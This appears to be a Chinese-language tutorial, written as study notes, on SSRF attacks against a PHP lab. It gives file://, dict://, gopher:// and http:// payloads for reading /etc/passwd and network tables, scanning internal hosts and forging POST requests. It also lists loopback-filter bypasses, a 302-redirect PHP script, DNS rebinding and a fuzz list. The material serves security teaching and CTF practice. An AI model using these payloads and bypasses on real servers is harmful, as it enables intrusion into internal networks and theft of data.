SSRF漏洞

自能成羽翼,何必仰云梯


SSRF简介

SSRF (service side request forgery)

1
2
3
服务端请求伪造
SSRF的攻击对象:从外网无法访问的内网系统
SSRF的漏洞成因 : 大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

本项目以及靶场全部基于Php


利用Php伪协议进行SSrf攻击

内网IP探测:File伪协议

内网IP端口探测:Dict伪协议

内网目录扫描:Http协议

POST提交:Gopher伪协议

File伪协议

从文件系统中获取文件内容,如 file:///etc/passwd

file伪协议在内网信息收集有哪些帮助?

1
2
3
4
5
ssrf_url=file:///etc/passwd 用户信息

ssrf_url=file:///proc/net/arp

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况
1
2
3
4
5
6
7
8
9
10
11
12
13
ssrf_url=file:///etc/hosts 

<IP地址> <主机名> <别名>
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.251.251.2 6c989908ce81
172.250.250.2 6c989908ce81

可以发现存在双网卡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
ssrf_url
在进行arp扫描之前先要对内网ip(http://172.250.$)进行遍历访问

从而探测哪些主机是开放的

file:///proc/net/arp 的快照如下:

IP address HW type Flags HW address Mask Device
172.250.250.11 0x1 0x2 02:42:ac:fa:fa:0b * eth1
172.251.251.41 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.28 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.72 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.63 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.12 0x1 0x2 02:42:ac:fa:fa:0c * eth1
172.251.251.44 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.3 0x1 0x2 02:42:ac:fb:fb:03 * eth0
172.251.251.34 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.48 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.6 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.3 0x1 0x2 02:42:ac:fa:fa:03 * eth1
172.251.251.33 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.64 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.55 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.4 0x1 0x2 02:42:ac:fa:fa:04 * eth1
172.251.251.36 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.27 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.71 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.58 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.9 0x1 0x0 00:00:00:00:00:00 * eth1
172.251.251.43 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.30 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.74 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.57 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.10 0x1 0x0 00:00:00:00:00:00 * eth1
172.251.251.46 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.29 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.73 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.60 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.50 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.45 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.1 0x1 0x2 02:42:74:36:f7:6d * eth1
172.251.251.35 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.66 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.49 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.38 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.65 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.52 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.7 0x1 0x2 02:42:ac:fa:fa:07 * eth1
172.251.251.37 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.68 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.59 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.8 0x1 0x2 02:42:ac:fa:fa:08 * eth1
172.251.251.40 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.31 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.62 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.13 0x1 0x0 00:00:00:00:00:00 * eth1
172.251.251.47 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.61 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.14 0x1 0x2 02:42:ac:fa:fa:0e * eth1
172.251.251.51 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.1 0x1 0x2 02:42:08:3d:4f:93 * eth0
172.251.251.32 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.67 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.54 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.5 0x1 0x2 02:42:ac:fa:fa:05 * eth1
172.251.251.4 0x1 0x2 02:42:ac:fb:fb:04 * eth0
172.251.251.251 0x1 0x2 02:42:ac:fb:fb:fb * eth0
172.251.251.39 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.26 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.70 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.53 0x1 0x0 00:00:00:00:00:00 * eth0
172.250.250.6 0x1 0x2 02:42:ac:fa:fa:06 * eth1
172.251.251.42 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.25 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.69 0x1 0x0 00:00:00:00:00:00 * eth0
172.251.251.56 0x1 0x0 00:00:00:00:00:00 * eth0

Mac地址不存在的是误报,排除过后发现

IP address HW type Flags HW address Mask Device
172.250.250.11 0x1 0x2 02:42:ac:fa:fa:0b * eth1
172.250.250.12 0x1 0x2 02:42:ac:fa:fa:0c * eth1
172.251.251.3 0x1 0x2 02:42:ac:fb:fb:03 * eth0
172.250.250.3 0x1 0x2 02:42:ac:fa:fa:03 * eth1
172.250.250.4 0x1 0x2 02:42:ac:fa:fa:04 * eth1
172.250.250.1 0x1 0x2 02:42:74:36:f7:6d * eth1
172.250.250.7 0x1 0x2 02:42:ac:fa:fa:07 * eth1
172.250.250.8 0x1 0x2 02:42:ac:fa:fa:08 * eth1
172.250.250.14 0x1 0x2 02:42:ac:fa:fa:0e * eth1
172.251.251.1 0x1 0x2 02:42:08:3d:4f:93 * eth0
172.250.250.5 0x1 0x2 02:42:ac:fa:fa:05 * eth1
172.251.251.4 0x1 0x2 02:42:ac:fb:fb:04 * eth0
172.251.251.251 0x1 0x2 02:42:ac:fb:fb:fb * eth0
172.250.250.6 0x1 0x2 02:42:ac:fa:fa:06 * eth1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
url=file:///proc/net/fib_trie

Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.250.0.0/15 2 0 2
+-- 172.250.250.0/24 2 0 2
+-- 172.250.250.0/30 2 0 2
|-- 172.250.250.0
/32 link BROADCAST
/24 link UNICAST
|-- 172.250.250.2
/32 host LOCAL
|-- 172.250.250.255
/32 link BROADCAST
+-- 172.251.251.0/24 2 0 2
+-- 172.251.251.0/30 2 0 2
|-- 172.251.251.0
/32 link BROADCAST
/24 link UNICAST
|-- 172.251.251.2
/32 host LOCAL
|-- 172.251.251.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.250.0.0/15 2 0 2
+-- 172.250.250.0/24 2 0 2
+-- 172.250.250.0/30 2 0 2
|-- 172.250.250.0
/32 link BROADCAST
/24 link UNICAST
|-- 172.250.250.2
/32 host LOCAL
|-- 172.250.250.255
/32 link BROADCAST
+-- 172.251.251.0/24 2 0 2
+-- 172.251.251.0/30 2 0 2
|-- 172.251.251.0
/32 link BROADCAST
/24 link UNICAST
|-- 172.251.251.2
/32 host LOCAL
|-- 172.251.251.255
/32 link BROADCAST

Dict伪协议

主要用来探测存活主机端口(只能探测TCP),也可以用ftp

1
2
ftp://172.250.250.1:80
太慢了所以不推荐

用Dict

1
dict://172.250.250.8:3306

Http协议

1
http://172.250.250.1

可以扫到shell.php

Gopher伪协议

利用范围较广:【GET提交】【POST提交】【redis】【Fastcgi】【sql】

Gopher伪协议默认端口为 70

Gopher伪协议默认不发送第一个数据

本实验基于http://172.250.250.4/name.php

如果是Get提交我们直接可以直接打

Get提交

用Gopher的Get提交

1
2
3
4
gopher://172.250.250.4:80/_GET /name.php?name=1 HTTP/1.1
Host: 172.250.250.4

将下划线以后的内容进行双重url编码,注意line3的空行也要包含

POST提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length:13

name=YCTF

gopher://172.250.250.4:80/_POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length:13

name=YCTF

下划线以后的内容进行双重url编码
一般的POST提交是Content-Type: application/x-www-form-urlencoded
同时注意Content-Length(请求体的长度)要实时更新

本地环回地址Bypass

在本题目中,禁止输入127.0.0.1和localhost,可将127.0.0.1进行变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
127.0.0.1 点分十进制

0b01111111000000000000000000000001 二进制
017700000001 八进制
2130706433 十进制
0x7F000001 十六进制


0177.0000.0000.0001 点分八进制
0x7F.0x00.0x00.0x01 点分十六进制
0x7F.0.0.1 只转化一个

http://0/

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1


http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]/


http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

17.0.0.1
127.0.0.1

URL BYPASS
url可能必须以 “xxx” 开头。我们可以利用@来绕过,如 http://x@127.0.0.1实际上是以用户名 whoami连接到站点127.0.0.1,http://notfound.ctfhub.com@127.0.0.1与 http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。

短链接绕过https://www.985.so/

302重定向Bypass

这种情况,通常是限制私有ip的输入,在不考虑用其他方法bypass的时候,尝试用302bypass

在VPS上面启动php服务,注意,必须解析内容,所以不能用python开Http服务

向302.php中写入

1
2
<?php
header('Location: http://127.0.0.1/flag.php');

也可以使用在线短链接跳转

DNS重定向Bypass

先来看一下SSRF的防御

1
2
3
4
5
6
针对SSRF漏洞的防御
1.解析目标URL,获取其Host
2.解桥Host,获取Host指向的IP地址
3.检查IP地址是否为内网地址
4.请求URL
5.如果有跳转,拿出跳转URL,执行1
1
2
3
4
DNS的TTL(Time To Live)是指DNS记录在DNS解析器(通常是缓存服务器)中保留的时间,以秒为单位。

TTL的作用是控制DNS记录的缓存时间,决定了DNS记录在缓存中存活的时长。在TTL过期后,缓存服务器需要向权威DNS服务器再次查询记录。
举例:如果TTL为300秒(5分钟),那么在缓存有效期内,对应的查询结果将直接返回,而不需要再次解析。

所以我们的攻击思路如下

  1. 第一次DNS绑定真的公网IP地址
  2. 利用两次解析的时间差,第二次绑定环回地址

https://lock.cmpxchg8b.com/rebinder.html
在该网站设置两次DNS解析TLL为0s,注意,这个实验的成功几率不大,需要反复发包

从SSrf到文件上传,文件包含,XXE

从SSrf到Mysql,Tomcat,Redis

Mysql未授权查询

前提条件:Mysql没有设置密码,或者是密码。

下面在本地演示抓到Mysql流量

管理员模式打开wireshark

参考资料

https://www.bilibili.com/video/BV1iQ4y1u7Pt

https://dyinglight.me/2024/07/21/

https://www.sqlsec.com/2021/05/ssrf.html

常用测试地址

1
2
3
http://baidu.com/robots.txt
http://127.0.0.1:80 //回显当前页面
http://127.0.0.1:443 //回显当前页面

FUzz 字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0b01111111000000000000000000000001
017700000001
2130706433
0x7F000001
0177.0000.0000.0001
0x7F.0x00.0x00.0x01
0x7F.0.0.1
0
[::1]
[::ffff:7f00:1]
[::ffff:127.0.0.1]
127.1
127.0.1
0:80
17.0.0.1
127.0.0.1


/flag.txt
/flag.php
/flag

备忘录